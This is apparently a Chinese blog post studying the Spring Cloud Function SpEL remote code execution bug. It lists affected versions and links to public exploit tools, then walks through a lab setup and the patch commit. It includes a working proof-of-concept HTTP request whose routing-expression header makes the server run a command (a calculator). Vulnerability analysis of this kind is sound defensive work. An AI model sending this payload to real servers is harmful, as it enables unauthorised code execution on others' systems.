這個漏洞前幾天就爆出來了 但昨天看到spring core漏洞 就想學習一下spring cloud
前言
SpringCloud Function作为SpringCloud家族成员最早在2017年提出,旨在为快速发展的Serverless市场提供一个Spring的接入路径,使用SpringCloud Function进行无服务(我这里直接称为函数式编程)的项目开发可以大大节约成本,同时对于SpringBoot熟悉的人可以迅速上手
影响版本:
3 <= Version <= 3.2.2(commit dc5128b之前)
只有Spring Cloud Function部分版本特定配置的动态路由才会受影响(spring.cloud.function.definition=functionRouter),但SpEL表达式存在charset、replace等多种变形 pen4uin师傅发现访问特定路由(/functionRouter)时,无需特定配置也会触发functionRouter调用
利用工具
- https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE
- IDEA
- JDK15(https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html)
- https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
POC
POST /functionRouter HTTP/1.1
Host: 192.168.8.142:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
test
源码
https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
编译
另外一个
https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
编译好的java包在 /target 目录下
java -jar function-sample-pojo-3.2.1.RELEASE.jar
分析
拉取仓库后用IDEA maven进行打包调试即可
由于spring默认端口使用的8080,所以可能会与Burpsuite冲突.可编辑application.properties修改默认端口
补丁分析
在main分支commit dc5128b中,新增了SimpleEvaluationContext
由isViaHeader变量作为flag,在解析前判断spring.cloud.function.routing-expression的值是不是取自HTTP头,如果是的话就用SimpleEvaluationContext解析SpEL语句,不是来自外部输入时(比如System.setProperty)才用StandardEvaluationContext解析
- 查看官方提交的commit
首先我们的得知该漏洞是RoutingFunction功能导致的
- 在commit中官方也给出了相应的测试用例
根据测试用例,可以得知漏洞触发点位于http header中spring.cloud.function.routing-expression字段
提取出测试类后在apply方法下断并跟入,省略一些中间流程,最终可以看到从HTTP头spring.cloud.function.routing-expression中取出SpEL表达式并由StandardEvaluationContext解析